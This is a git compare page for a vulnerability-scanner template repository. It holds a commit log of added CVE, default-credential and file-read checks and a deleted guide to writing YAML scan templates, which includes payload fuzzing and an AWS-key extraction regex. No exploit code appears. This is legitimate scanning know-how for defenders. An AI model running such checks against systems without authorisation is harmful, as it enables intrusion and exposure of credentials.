Compare commits

...
135 Commits
Author SHA1 Message Date
bauthard 7cda824231 Merge pull request #312 from dwisiswant0/tpl/add-cves
Add CVEs (CVE-2020-9496, CVE-2019-6112 & CVE-2019-11580)
2020-08-16 21:29:02 +05:30
Dwi Siswanto 7747dd475a 🔥 Add CVE-2019-11580 2020-08-16 22:54:45 +07:00
Dwi Siswanto 3d6f52fbbf 🔥 Add CVE-2019-6112 2020-08-16 22:22:28 +07:00
Dwi Siswanto 04e7b37069 Merge branch 'master' of github.com:projectdiscovery/nuclei-templates into tpl/add-cves 2020-08-16 22:08:01 +07:00
bauthard 6f6af479a0 cleanups 2020-08-16 17:16:51 +05:30
bauthard b61ee77122 moving tomcat to default creds 2020-08-16 16:52:33 +05:30
bauthard 3b9eede906 Merge pull request #313 from projectdiscovery/grafana-creds
Adding grafana default credential check template and workflow
2020-08-16 15:48:22 +05:30
bauthard a3106f709d Update grafana-default-credential.yaml 2020-08-16 15:46:01 +05:30
bauthard 32a0da8020 Adding grafana default cred check template and workflow 2020-08-16 15:42:42 +05:30
Dwi Siswanto 505e77400a 🔨 Add multi-request because by default OFBiz doesn't run directly through port 80 (except it build with Docker image) 2020-08-16 08:14:03 +07:00
Dwi Siswanto 0c89ba4dae 🔥 Add CVE-2020-9496 2020-08-16 07:52:06 +07:00
bauthard d57f734d54 Merge pull request #309 from dwisiswant0/tpl/add-cves
Add CVE-2019-7609
2020-08-16 02:08:06 +05:30
bauthard b994bc6435 Update CVE-2019-7609.yaml 2020-08-16 02:07:25 +05:30
bauthard 2796981df2 Merge pull request #311 from Pxmme/master
Create CVE-2020-13379.yaml
2020-08-16 02:05:21 +05:30
bauthard afe7ba568d Update CVE-2020-13379.yaml 2020-08-16 02:04:11 +05:30
Pxmme 37891375e1 Create CVE-2020-13379.yaml
lol DoS is fun
2020-08-15 22:14:07 +02:00
Dwi Siswanto 64cbf896de 🔥 Add CVE-2019-7609 2020-08-16 01:10:27 +07:00
bauthard 4c80fb66de Merge pull request #308 from geeknik/patch-1
Update wordpress-accessible-wpconfig.yaml
2020-08-15 20:51:37 +05:30
Geeknik Labs 22b17d80de Update wordpress-accessible-wpconfig.yaml
Add a few additional paths
2020-08-15 15:19:40 +00:00
bauthard ab954d1a83 Merge pull request #301 from foulenzer/master
added template for xss params
2020-08-15 14:24:13 +05:30
bauthard 9ab0c904c8 updating templates 2020-08-15 14:18:23 +05:30
bauthard 322c0c8b98 Merge pull request #307 from dwisiswant0/fix/false-positives
Fix False-positive Result of CVE-2019-19985
2020-08-15 13:41:03 +05:30
Dwi Siswanto 5eac34b513 🔨 Fix false-positive 2020-08-15 15:04:58 +07:00
Benjamin Intfeld 8f599a4c08 added template for xss params 2020-08-12 22:51:22 +02:00
bauthard e91a4518c2 Merge pull request #299 from Mad-robot/master
Fixing false positives
2020-08-12 23:15:48 +05:30
bauthard 96093904ad Update CVE-2019-19985.yaml 2020-08-12 23:14:53 +05:30
SaN ThosH dc627f2d97 Update CVE-2019-19985.yaml 2020-08-12 23:10:09 +05:30
SaN ThosH 5e8411900f Update CVE-2019-19985.yaml
Fixing false positives
previously shown vulnerable for 
https://books.apple.com/wp-admin/admin.php?page=download_report&report=users&status=all

Originally vulnerable
https://www.yacht-charter.co.uk/wp-admin/admin.php?page=download_report&report=users&status=all
2020-08-12 23:09:50 +05:30
bauthard 81a11c535a Merge pull request #298 from Mad-robot/master
Create CVE-2019-9978.yaml
2020-08-12 20:51:56 +05:30
bauthard 80d2ccb4e6 Update wordpress-workflow.yaml 2020-08-12 20:50:46 +05:30
bauthard 283dfce89c workflow update 2020-08-12 20:49:20 +05:30
bauthard 4d1ff74303 Merge branch 'master' of https://github.com/Mad-robot/nuclei-templates into pr/298 2020-08-12 20:43:14 +05:30
bauthard d9a36ec84f Update CVE-2019-9978.yaml 2020-08-12 20:42:50 +05:30
SaN ThosH d60f915497 Update CVE-2019-9978.yaml 2020-08-12 20:41:52 +05:30
SaN ThosH ec95929e4b Create CVE-2019-9978.yaml 2020-08-12 20:35:52 +05:30
bauthard 190e1e1ea5 Merge pull request #297 from Mad-robot/master
Update wordpress-accessible-wpconfig.yaml
2020-08-12 20:24:36 +05:30
SaN ThosH c6127b017d Update wordpress-accessible-wpconfig.yaml 2020-08-12 20:21:27 +05:30
bauthard cbe3dbf145 Merge pull request #295 from Kiblyn11/wordpress-workflow-wp-config
wp-config misconfig and wordpress workflow
2020-08-12 18:51:24 +05:30
bauthard 3871001181 Merge pull request #294 from xElkomy/patch-2
Update crlf-injection.yaml
2020-08-12 17:49:47 +05:30
Romain 8a3ddb0cf1 fix typo 2020-08-12 10:18:59 +02:00
Romain 64c5b07b76 add wordpress workflow 2020-08-12 10:15:51 +02:00
Romain 325754ad60 add wp-config file misconfig detection 2020-08-12 10:15:34 +02:00
Khaled Mohamed 532072c677 Update crlf-injection.yaml 2020-08-11 14:58:53 +02:00
bauthard aaba00a84d Update CVE-2019-16759-1.yaml 2020-08-10 16:30:34 +05:30
bauthard 8a9c61c035 Update vbulletin-workflow.yaml 2020-08-10 15:00:25 +05:30
bauthard 3b571feeca added vbulletin-workflow 2020-08-10 14:58:30 +05:30
bauthard 634226bdcb Merge pull request #293 from Mad-robot/master
Create CVE-2019-16759-fixbypass.yaml
2020-08-10 14:42:33 +05:30
bauthard b4c75eba60 Updated file name 2020-08-10 14:41:08 +05:30
bauthard 4124bfe326 vbulletin update 2020-08-10 14:38:50 +05:30
SaN ThosH ba3dddc284 Create CVE-2019-16759-fixbypass.yaml 2020-08-10 14:02:30 +05:30
bauthard c4292073be Adding template details. 2020-08-08 12:56:51 +05:30
bauthard 7807d16913 tech updates 2020-08-08 03:21:16 +05:30
bauthard c29c02f10d Merge pull request #290 from un-fmunozs/drop-cms-detect
Improve drupal detection on tech-detect and drop cms-detect
2020-08-08 02:48:49 +05:30
un-fmunozs 4425ee7a01 Update tech-detect.yaml 2020-08-07 16:15:38 -05:00
un-fmunozs c21eccd8e6 Improve drupal detection on tech-detect and drop cms-detect
tech-detect does a better job with more cms than cms-detect, strings from cms-detect added for drupal. wordpress detection on tech-detect is ok. Fix #289
2020-08-07 16:14:24 -05:00
bauthard 84d4e2ab5a Merge pull request #288 from random-robbie/patch-1
Create CVE-2017-9841
2020-08-07 13:43:46 +05:30
bauthard 5c083d5860 Update CVE-2017-9841.yaml 2020-08-07 13:43:01 +05:30
bauthard 7cdf1f2154 Adding Reference 2020-08-07 13:41:39 +05:30
bauthard 5d6e6e8fbf updating file name 2020-08-07 13:37:12 +05:30
Robbie a43291d9d9 Create CVE-2017-9841 2020-08-07 09:02:28 +01:00
bauthard e7514cffc5 Merge pull request #287 from manuelbua/fix-improve-wadl-template
Improve WADL detection, remove WSDL check, add additional checks
2020-08-07 01:22:20 +05:30
bauthard b48dc3b9c3 Update wadl-files.yaml 2020-08-07 01:21:37 +05:30
Manuel Bua 378373a5b8 Remove WSDL check, add additional checks 2020-08-06 21:10:09 +02:00
bauthard 62089805d3 Merge pull request #285 from al3xdelarge/patch-2
Add semicolon to path
2020-08-06 13:44:18 +05:30
bauthard fca119eb24 adding both path for possilbe use cases 2020-08-06 13:42:12 +05:30
bauthard e4b0d08269 Merge pull request #284 from al3xdelarge/patch-1
Improve shellshock payload
2020-08-06 13:38:37 +05:30
Aron Molnar 8315f5f780 Add semicolon to path
The vulnerability is that access restriction can be circumvented by adding a semicolon to the path (as pointed out in https://github.com/immunIT/CVE-2018-11759).
Without semicolon, jkstatus would be public anyway and would not be related to the CVE.
2020-08-06 10:06:13 +02:00
Aron Molnar f4ebffa1bc Improve shellshock payload 2020-08-06 10:03:58 +02:00
bauthard 86c124a3ae Merge pull request #283 from un-fmunozs/fix279
Update rce-via-java-deserialization.yaml
2020-08-06 12:15:26 +05:30
un-fmunozs 03eb473c7b Update rce-via-java-deserialization.yaml
Add rce-via-java-deserialization id
2020-08-05 22:57:52 -05:00
bauthard e4ecdde5e0 Added CVE-2019-19985 2020-08-05 01:49:57 +05:30
bauthard 140f069e55 Update detect-all-takeovers.yaml 2020-08-05 00:56:22 +05:30
bauthard 4abb268ac2 Added CVE-2019-18394 2020-08-04 20:54:23 +05:30
bauthard e3ab09379f Update tomcat-manager-bruteforce.yaml 2020-08-04 06:41:32 +05:30
bauthard e6035c3359 Update tomcat-manager-bruteforce.yaml 2020-08-04 04:23:29 +05:30
bauthard ad00a04162 Update tomcat-manager-bruteforce.yaml 2020-08-04 04:16:10 +05:30
bauthard 027fbc6ee1 Update tomcat-manager-bruteforce.yaml 2020-08-04 04:05:38 +05:30
bauthard 6f7eca5f04 few more updates 2020-08-04 04:05:04 +05:30
bauthard a41edcf8e5 template mise 2020-08-04 03:24:35 +05:30
bauthard c30dc25289 uniform severity update 2020-08-04 03:22:00 +05:30
bauthard 492379034b Merge pull request #277 from eschultze/master
Two new templates
2020-08-03 11:40:51 +05:30
bauthard eb4c065ef9 Update wamp-xdebug-detect.yaml 2020-08-03 11:39:41 +05:30
eschultze d12f639bc6 Create wamp-xdebug-detect.yaml 2020-08-03 00:44:37 -03:00
eschultze 4e6eeeba6a Create weave-scope-dashboard-detect.yaml 2020-08-03 00:37:57 -03:00
bauthard 84d3cb15d8 Delete GUIDE.md 2020-08-02 23:28:48 +05:30
bauthard 0088f2e474 encoding update 2020-08-02 21:28:48 +05:30
bauthard fdf5ac46df Readme update 2020-08-02 18:42:36 +05:30
bauthard 8bb5d0ba4e preparing for v2.1.0 release 2020-08-02 18:28:07 +05:30
bauthard 9212a3df37 Merge pull request #275 from chron0x/tiki-wiki-cms
add tikiwiki-cms panel
2020-08-01 11:22:09 +05:30
Philipp Benz 5b882d8805 add tikiwiki-cms panel 2020-08-01 09:16:27 +09:00
bauthard cb9a029465 Merge pull request #272 from Mad-robot/master
👋👋👋
2020-08-01 02:19:13 +05:30
bauthard f5d35e3fad minor fixs 2020-08-01 02:18:24 +05:30
bauthard b27f657dfb Merge pull request #274 from eschultze/master
Fix small typo at wordpress-user-enumeration.yaml
2020-08-01 01:50:34 +05:30
eschultze 8a14a1cf78 Fix small typo 2020-07-31 17:18:26 -03:00
SaN ThosH fb310bc62f Oracle Content Server XSS 2020-07-31 23:23:22 +05:30
SaN ThosH 99d78127ea Nginx virtual host traffic status module XSS
https://github.com/vozlt/nginx-module-vts/issues/174
2020-07-31 23:18:14 +05:30
bauthard 38df2615cd Merge pull request #271 from Mad-robot/master
push
2020-07-31 23:13:41 +05:30
bauthard b44f47c502 matcher updates 2020-07-31 23:12:34 +05:30
SaN ThosH a46612e7b7 Create tikiwiki-reflected-xss.yam 2020-07-31 22:55:41 +05:30
SaN ThosH 0a38e306a7 Odoo 12.0 - Local File Inclusion
https://www.exploit-db.com/exploits/48609
2020-07-31 22:52:10 +05:30
bauthard 7054c2b758 Payload update 2020-07-31 21:51:48 +05:30
bauthard d6930042a9 trailing-spaces 2020-07-31 15:32:19 +05:30
bauthard da42a21e5e syntax update 2020-07-31 15:30:36 +05:30
bauthard f9bfb5de0b Update amazon-mws-auth-token-value.yaml 2020-07-31 14:17:36 +05:30
bauthard eea177a203 Update lazy-file.yaml 2020-07-31 14:08:08 +05:30
bauthard 36a730e9df temp fix for extractors 2020-07-30 13:46:37 +05:30
bauthard ce124d32bd Update .gitignore 2020-07-29 13:21:06 +05:30
bauthard 9be9a16bbc Merge pull request #269 from eugui/patch-4
Update open-redirect.yaml
2020-07-28 21:16:58 +05:30
bauthard 3f9f47d682 Merge pull request #261 from eugui/patch-1
Update swagger-panel.yaml
2020-07-28 21:09:49 +05:30
bauthard ef61bfd5dc Merge pull request #266 from XalfiE/master
Check to test  Oracle EBS Bispgraph File Access Vulnerability (RCE)
2020-07-28 20:58:54 +05:30
bauthard e23e6767fd updating template 2020-07-28 20:44:22 +05:30
bauthard 3fd163e6c8 Merge pull request #262 from eugui/patch-2
Create lazy-file.yaml
2020-07-28 20:20:15 +05:30
bauthard 094ebe18bf correcting matcher rule 2020-07-28 20:14:34 +05:30
bauthard ea3f569315 Merge pull request #264 from eugui/patch-3
Create filezilla.yaml
2020-07-28 19:45:26 +05:30
bauthard 8ce1575736 Update filezilla.yaml 2020-07-28 19:42:45 +05:30
bauthard 367674cc51 Merge pull request #263 from yashanand/master
JMX Console
2020-07-28 19:23:20 +05:30
bauthard df091f9fec updating matcher 2020-07-28 19:22:30 +05:30
d[-_-]b 318a78ebef Update open-redirect.yaml 2020-07-28 14:29:36 +01:00
Alfie Njeru 6e8b732d57 Update oracle-ebs-bispgraph-file-access-vulnerability(rce).yaml 2020-07-27 12:37:21 +03:00
Alfie Njeru 2ac65abb92 Update CVE-2020-3452.yaml 2020-07-27 12:31:38 +03:00
Alfie Njeru 881efe9d95 Update CVE-2020-3452.yaml 2020-07-27 12:30:16 +03:00
Alfie Njeru 5340a96e4c Oracle EBS Bispgraph File Access Vulnerability
A test to check whether you can read the etc/password file on a vulnerable Oracle Enterprise Business Suite instance
2020-07-27 12:25:15 +03:00
d[-_-]b 91f1ffa23a Create filezilla.yaml 2020-07-27 08:25:54 +01:00
Yash Anand 6ec61bebc0 JMX Console 2020-07-27 11:35:52 +05:30
bauthard 1682750d91 removing duplicates 2020-07-27 02:20:54 +05:30
d[-_-]b d95039f26f Create lazy-file.yaml 2020-07-26 20:29:04 +01:00
d[-_-]b effd01fe15 Update swagger-panel.yaml 2020-07-26 20:26:57 +01:00
bauthard eae2f9fd72 Merge pull request #258 from yashanand/master
Added htaccess templates
2020-07-26 03:39:02 +05:30
bauthard 87f5e61d2c updates 2020-07-26 03:36:57 +05:30
bauthard 94d99ba353 updates 2020-07-26 01:35:02 +05:30
Alfie Njeru 82f2da04f8 Update CVE-2020-3452.yaml
Added the second PoC
2020-07-25 11:49:14 +03:00
bauthard 567dd35b03 Update CVE-2020-3187.yaml 2020-07-25 12:35:19 +05:30
bauthard 86e27b8609 updating template 2020-07-25 12:27:30 +05:30
Yash Anand 6233f18c40 Add files via upload 2020-07-24 15:47:46 +05:30
Yash Anand e99e691df4 Htaccess file 2020-07-24 15:46:18 +05:30
125 changed files with 1402 additions and 1312 deletions

No files matched your search

+1 -1
View File
@@ -1,2 +1,2 @@
.DS_Store
local/
-614
View File
@@ -1,614 +0,0 @@
# Templating Guide
**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
The templates are written in `YAML` which specifies a simple human readable format to quickly define the execution process.
Let's start with the basics and define our own workflow file for detecting the presence of a `.git/config` file on a webserver and take it from there.
## Table of Contents
* [Templating Guide](#templating-guide)
* [Template Details](#template-details)
* [<strong>Info</strong>](#info)
* [<strong>HTTP Requests</strong>](#http-requests)
* [<strong>Method</strong>](#method)
* [<strong>Redirects</strong>](#redirects)
* [<strong>Path</strong>](#path)
* [<strong>Headers</strong>](#headers)
* [<strong>Body</strong>](#body)
* [<strong>Matchers</strong>](#matchers)
* [<strong>Types</strong>](#types)
* [<strong>Conditions</strong>](#conditions)
* [<strong>Matched Parts</strong>](#matched-parts)
* [<strong>Multiple Matchers</strong>](#multiple-matchers)
* [Extractors](#extractors)
* [<strong>Example HTTP Template</strong>](#example-http-template)
* [<strong>DNS Requests</strong>](#dns-requests)
* [<strong>Type</strong>](#type)
* [<strong>Name</strong>](#name)
* [<strong>Class</strong>](#class)
* [<strong>Recursion</strong>](#recursion)
* [<strong>Retries</strong>](#retries)
* [<strong>Matchers</strong>](#matchers)
* [<strong>Example DNS Template</strong>](#example-dns-template)
* [<strong>Chained workflow</strong>](#chained-workflow)
## Template Details
Each template has a unique ID which is used during output writing to specify the template name for an output line.
The template file ends with **.yaml** extension. The template files can be created any text editor of your choice.
```yaml
# id contains the unique identifier for the template.
id: git-config
```
ID must not contain spaces. This is done to allow easier output parsing.
### Info
Next important piece of information about a template is the **info** block. Info block provides more context on the purpose of the template and the **author**. It can also contain a **severity** field which indicates the severity of the template.
Let's add an **info** block to our template as well.
```yaml
info:
# Name is the name of the template
name: Git Config File Detection Template
# Author is the name of the author for the template
author: Ice3man
# Severity is the severity for the template.
severity: medium
# Description optionally describes the template.
description: Searches for the pattern /.git/config on passed URLs.
```
Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
Each template file can contain multiple requests to be made. The template is iterated and one by one the desired HTTP/DNS requests are made to the target sites.
### HTTP Requests
Requests start with a request block which specifies the start of the requests for the template.
```yaml
# Start the requests for the template right here
requests:
```
At this point you can define raw requests like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`).
```yaml
requests:
- raw:
- |
GET /path1/ HTTP/1.1
User-Agent: chrome
Host: {{Hostname}}
Accept: a1/b1
- |
POST /path2/ HTTP/1.1
User-Agent: chrome
Host: {{Hostname}}
Accept: a2/b2
This is the request Body
```
Otherwise you can define structured requests as described in the following paragraphs. Requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. A recent addition in raw requests has been the introduction of intruder-like functionalities. It's possible to define placeholders as `{{placeholder}}`, and perform Sniper, Pitchfork and ClusterBomb attacks. The wordlist for these attacks needs to be defined during the request definition under the `Payload` field. Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. Here follows an example:
```yaml
id: dummy-raw
info:
name: Example-Fuzzing
requests:
- payloads:
param_a: /home/user/wordlist_param_a.txt
param_b: /home/user/wordlist_param_b.txt
attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
raw:
# Request with simple param and header manipulation with DSL functions
- |
POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
User-Agent: {{param_a}}
Host: {{Hostname}}
another_header: {{base64(param_b)}}
Accept: */*
This is the Body
# Request with body manipulation
- |
DELETE / HTTP/1.1
User-Agent: nuclei
Host: {{Hostname}}
This is the body {{sha256(param_a)}}
# Yet another one
- |
PUT / HTTP/1.1
Host: {{Hostname}}
This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
matchers:
- type: word
words:
- "title"
- "body"
```
This functionality is **not optimized** for speed as the internal http library needs to be set explicitly with connection reuse policy.
#### Method
First thing in the request is **method**. Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc depending on the needs.
```yaml
# Method is the method for the request
method: GET
```
#### Redirects
Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
An example of the usage:
```yaml
requests:
- method: GET
path:
- "{{BaseURL}}/login.php
redirects: true
max-redirects: 3
```
#### Path
The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
1. **BaseURL** - Placing BaseURL as a variable in the path will lead to it being replaced on runtime in the request by the original URL as specified in the target file.
2. **Hostname** - Hostname variable is replaced by the hostname of the target on runtime.
Some sample dynamic variable replacement examples:
```yaml
path: {{BaseURL}}/.git/config
# This path will be replaced on execution with BaseURL
# If BaseURL is set to https://abc.com then the
# path will get replaced to the following: https://abc.com/.git/config
```
Multiple paths can also be specified in one request which will be requested for the target.
#### Headers
Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
```yaml
# headers contains the headers for the request
headers:
# Custom user-agent header
User-Agent: Some-Random-User-Agent
# Custom request origin
Origin: https://google.com
```
#### Body
Body specifies a body to be sent along with the request. For instance:
```yaml
# Body is a string sent along with the request
body: "{\"some random JSON\"}"
```
#### Matchers
Matchers are the core of nuclei. They are what make the tool so powerful. Multiple type of combinations and checks can be added to ensure that the results you get are free from false-positives.
##### Types
Multiple matchers can be specified in a request. There are basically 6 types of matchers:
| Matcher Type | Part Matched |
| ------------ | -------------------------- |
| status | Status Code of Response |
| size | Content Length of Response |
| word | Response body or headers |
| regex | Response body or headers |
| binary | Response body |
| dsl | All Response Parts |
To match status codes for responses, you can use the following syntax.
```yaml
matcher:
# Match the status codes
- type: status
# Some status codes we want to match
status:
- 200
- 302
```
To match binary for hexadecimal responses, you can use the following syntax.
```yaml
matchers:
- type: binary
binary:
- "504B0304" # zip archive
- "526172211A070100" # rar RAR archive version 5.0
- "FD377A585A0000" # xz tar.xz archive
condition: or
part: body
```
To match size, similar structure can be followed. If the status code of response from the site matches any single one specified in the matcher, the request is marked as successful.
**Word** and **Regex** matchers can be further configured depending on the needs of the users.
Complex matchers of type **dsl** allows to build more elaborated expressions with helper functions, this is an example of a complex DSL matcher:
```yaml
matchers:
- type: dsl
dsl:
- "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
- "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
```
Every part of a http response can be matched:
| Response Part | Description | Example |
|------------------|-------------------------------------------------|---------------------------|
| content_length | Header Content-Length | content_length >= 1024 |
| status_code | Response Status Code | status_code==200 |
| all_headers | Unique string containing all headers | len(all_headers) |
| body | Body as string | len(body) |
| header_name | Lowercase header name with "-" converted to "_" | len(user_agent) |
| raw | Headers + Response | len(raw) |
This is the list for a dns response:
| Response Part | Description | Example |
|------------------|-----------------------------------|---------------------------|
| rcode | Response status | rcode == "NXDOMAIN |
| question | Response Question Section | len(question) |
| extra | Response Extra Section | len(extra) |
| answer | Response Answers Section | len(answer) |
| ns | Response Authority Section | len(ns) |
| raw | Full Response | len(raw) |
The helper functions are:
| Helper Function | Description | Example |
|-----------------|-------------------------------------------|------------------------------------------------------------------------------------------------|
| len | Length of a string | len("Hello") // Result: 5 |
| toupper | string to uppercase | toupper("Hello") // Result: "HELLO" |
| tolower | string to lowercase | tolower("Hello") // Result: "hello" |
| replace | Replace string parts | replace("Hello", "He", "Ha") // Result: "Hallo" |
| trim | Remove trailing unicode chars | trim("aaaHelloddd", "ad") // Result: "Hello" |
| trimleft | Remove unicode chars from left | trimleft("aaaHelloddd", "ad") // Result: "Helloddd" |
| trimright | Remove unicode chars from right | trimleft("aaaHelloddd", "ad") // Result: "aaaHello" |
| trimspace | Remove trailing spaces | trimspace(" Hello ") // Result: "Hello" |
| trimprefix | Trim specified prefix | trimprefix("aaHelloaa", "aa") // Result: "Helloaa" |
| trimsuffix | Trim specified suffix | trimsuffix("aaHelloaa", "aa") // Result: "aaHello" |
| base64 | Encode string to base64 | base64("Hello") // Result: "SGVsbG8=" |
| base64_decode | Decode string from base64 | base64_decode("SGVsbG8=") // Result: "Hello" |
| url_encode | URL encode a string | url_encode("https://projectdiscovery.io/test?a=1") // Result: "https:%2F%2Fprojectdiscovery.io%3Ftest=1" |
| url_decode | URL decode a string | url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") // Result: "https://projectdiscovery.io/test?a=1" |
| hex_encode | Hex encode a string | hex_encode("aa") // Result: "6161" |
| hex_decode | Hex decode a string | hex_decode("6161") // Result: "aa" |
| html_escape | Hex encode a string | html_escape("<html><body>test</body></html>") // Result: "&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;" |
| html_unescape | Hex decode a string | html_unescape("&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;") // Result: "<html><body>test</body></html>" |
| md5 | Calculate md5 of string | md5("Hello") // Result: "8b1a9953c4611296a827abf8c47804d7" |
| sha256 | Calculate sha256 of string | sha256("Hello") // Result: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969" |
| sha1 | Calculate sha1 of string | sha1("Hello") // Result: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0" |
| contains | Verify if a string contains another one | contains("Hello", "lo") // Result: True |
| regex | Verify a regex versus a string | regex("H([a-z]+)o", "Hello") // Result: True |
##### Conditions
Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
##### Matched Parts
Multiple parts of the response can also be matched for the request.
| Part | Matched Part |
| ------ | ------------------------------------ |
| body | Body of the response |
| header | Header of the response |
| all | Both body and header of the response |
Example matchers for response body using the AND condition:
```yaml
matcher:
# Match the body word
- type: word
# Some words we want to match
words:
- "[core]"
- "[config]"
# Both words must be found in the response body
condition: and
# We want to match request body (default)
part: body
```
Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
##### Multiple Matchers
Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
Here is an example of syntax for multiple matchers.
```yaml
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
condition: or
part: header
```
##### Matchers Condition
While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
```yaml
matchers-condition: and
matchers:
- type: word
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
condition: or
part: header
- type: word
words:
- "PHP"
part: body
```
#### Extractors
Extractors are another important feature of nuclei. Extractors can be used to extract and display in results a match from the response body or headers based on a regular expression.
Currently only `regex` type extractors are supported. A sample extractor for extracting API keys from the response body is as follows:
```yaml
# A list of extractors for text extraction
extractors:
# type of the extractor, only regex for now.
- type: regex
# part of the response to extract (can be headers, all too)
part: body
# regex to use for extraction.
regex:
- "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
```
#### **Example HTTP Template**
The final template file for the `.git/config` file mentioned above is as follows:
```yaml
id: git-config
info:
name: Git Config File
author: Ice3man
severity: medium
description: Searches for the pattern /.git/config on passed URLs.
requests:
- method: GET
path:
- "{{BaseURL}}/.git/config"
matchers:
- type: word
words:
- "[core]"
```
### DNS Requests
Requests start with a dns block which specifies the start of the requests for the template.
```yaml
# Start the requests for the template right here
dns:
```
DNS requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
#### Type
First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
```yaml
# type is the type for the dns request
type: A
```
#### Name
The next part of the requests is the **name** of the request path. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
Some sample dynamic variable replacement examples:
```yaml
name: {{FQDN}}.com
# This value will be replaced on execution with the FQDN.
# If FQDN is https://this.is.an.example then the
# name will get replaced to the following: this.is.an.example.com
```
As of now the tool supports only one question per request.
#### Class
Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
```yaml
# method is the class for the dns request
class: inet
```
#### Recursion
Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
```yaml
# Recursion is a boolean determining if the request is recursive
recursion: true
```
#### Retries
Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
```yaml
# Retries is a number of retries before giving up on dns resolution
retries: 3
```
#### Matchers
Matchers are just equal to HTTP, but the search is performed on the whole dns response, therefore it's not necessary to specify the **part**. Multiple type of combinations and checks can be added to ensure that the results you get are free from false positives. The complex **dsl** matcher type allows to build complex queries as described in the HTTP section.
##### Types
Multiple matchers can be specified in a request. There are basically 5 types of matchers:
| Matcher Type | Part Matched |
| ------------ | -------------------------- |
| size | Response size |
| word | Response |
| regex | Response |
| binary | Response |
| dsl | Response |
## **Example DNS Template**
The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
```yaml
id: dummy-cname-a
info:
name: Dummy A dns request
author: mzack9999
severity: none
description: Checks if CNAME and A record is returned.
dns:
- name: "{{FQDN}}"
type: A
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
# The response must contains a CNAME record
- "IN\tCNAME"
# and also at least 1 A record
- "IN\tA"
condition: and
```
# Chained workflow
It's also possible to create conditional templates which executes after matching the condition from the previous templates, mostly useful for vulnerability detection and exploitation and tech based detection and exploitation, single, multiple along with directory based templates can be executed in chained workflow template.
Chained workflow supports both HTTP and DNS request based templates.
Example of running single / multiple templates only if `detect-jira.yaml` is detected host running Jira application.
```yaml
id: workflow-example
info:
name: Jira-Pawner
author: mzack9999
description: Detect Jira and if found; then check for CVEs in list.
variables:
# defining templates using variables.
# variables names as user-defined, it could be anything.
# relative path support is now added into the nuclei engine for better UX.
jira: panels/detect-jira.yaml
jira_cve_1: cves/CVE-2018-20824.yaml
jira_cve_2: cves/CVE-2019-3399.yaml
jira_cve_3: cves/CVE-2019-11581.yaml
jira_cve_4: cves/CVE-2017-18101.yaml
logic:
|
if jira() {
jira_cve_1()
jira_cve_2()
jira_cve_3()
jira_cve_4()
}
```
Example of running directory based templates when `detect-jira.yaml` is detected host running Jira application, based on this you can define your own workflow to run scans based on any or specific stacks.
```yaml
id: workflow-example
info:
name: Jira-Pawner
author: mzack9999
description: Detect Jira and if found; perform custom pwn.
variables:
# defining templates using variables.
# variables names as user-defined, it could be anything.
# relative path support is now added into the nuclei engine for better UX.
jira: panels/detect-jira.yaml
jira_pwn: my-jira-templates/
# defining directory to run all the templates
logic:
|
if jira() {
jira_pwn()
}
```
View File
File renamed without changes.
+228 -1
View File
@@ -1,6 +1,233 @@
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
